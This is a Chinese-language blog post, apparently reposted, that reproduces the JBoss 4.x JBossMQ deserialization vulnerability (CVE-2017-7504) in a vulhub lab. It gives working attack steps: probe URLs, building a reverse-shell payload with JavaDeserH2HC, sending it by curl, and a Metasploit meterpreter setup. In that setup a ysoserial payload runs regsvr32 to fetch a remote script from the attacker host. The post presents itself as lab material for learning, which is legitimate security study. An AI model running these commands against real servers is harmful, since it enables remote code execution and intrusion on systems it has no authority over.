(CVE-2017-7504)JBoss 4.x JBossMQ JMS 反序列化漏洞

Posted 浪人联想

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了(CVE-2017-7504)JBoss 4.x JBossMQ JMS 反序列化漏洞相关的知识,希望对你有一定的参考价值。

vulhub官方复现:https://vulhub.org/#/environments/jboss/CVE-2017-7504/

漏洞描述:Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ 实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

漏洞复现:

注意:自己搭建jboss服务器的话需要,设置外网访问:

在C:\\jboss-4.2.3\\server\\default\\deploy\\jboss-web.deployer\\server.xml

将 address="$jboss.bind.address 改为:address=“0.0.0.0”, 并重启Jboss

<Connector port="8080" address="$jboss.bind.address" 
maxThreads="250" maxHttpHeaderSize="8192" 
emptySessionPath="true" protocol="HTTP/1.1" 
enableLookups="false" redirectPort="8443" acceptCount="100" 
connectionTimeout="20000" disableUploadTimeout="true" /> 

使用vulhub靶场进行复现:

攻击机:192.168.8.11

靶机:192.168.8.9

启动JBoss AS 4.0.5

访问:http://192.168.8.9:8080/

F12打开开发者工具,点击网络,刷新网页。


找到jboss版本:

发现属于漏洞范围内。

访问测试poc1:http://192.168.8.9:8080/invoker/readonly

报 500 错误,则说明目标机器可能存在此漏洞。

接着访问测试poc2: http://192.168.8.9:8080/jbossmq-httpil/HTTPServerILServlet


返回This is the JBossMQ HTTP-IL,说明页面存在,此页面存在反序列化漏洞。

下载poc:

借助反序列化漏洞利用工具集:JavaDeserH2HC,里面已经提供好了各种 payload 可直接利用。

git clone https://github.com/joaomatosf/JavaDeserH2HC

进入JavaDeserH2HC

cd JavaDeserH2HC/

执行

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

设置接收shell的IP和端口

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:监听端口
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.8.11:4444


监听4444端口:

用攻击机向靶机发送payload,在JavaDeserH2HC目录下执行

curl http://192.168.8.9:8080/jbossmq-httpil/HTTPServerILServlet  --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功反弹shell:

使用MSF:

注意,这回得用 ysoserial.jar 来生成 payload。
配置监听器:

msf > use exploit/multi/script/web_delivery
msf > set target 3
msf > set payload windows/meterpreter/reverse_tcp_rc4_dns
msf > set lhost 192.168.8.11
msf > set lport 4444
msf > set rc4password klionsec
msf > exploit -j

生成 meter.ser 文件

java -jar ysoserial.jar CommonsCollections5 "regsvr32 /s /n /u /i:http://192.168.8.11:8080/pkOf1mEJyzoJ.sct scrobj.dll" > meter.ser

通过 curl 把 payload 发送到目标机器上去执行

curl http://192.168.8.9:8080/invoker/readonly --data-binary @meter.ser

关闭docker环境

docker-compose down


仅供学习!
ok!

以上是关于(CVE-2017-7504)JBoss 4.x JBossMQ JMS 反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章

(CVE-2017-7504)JBoss 4.x JBossMQ JMS 反序列化漏洞

(CVE-2017-7504)JBoss 4.x JBossMQ JMS 反序列化漏洞

[ vulhub漏洞复现篇 ] JBOSS AS 4.x以下反序列化远程代码执行漏洞CVE-2017-7504

CVE-2017-7504CVE-2017-12149 JBOSS反序列化漏洞

jboss反序列化漏洞复现(CVE-2017-7504)

jboss 未授权访问漏洞复现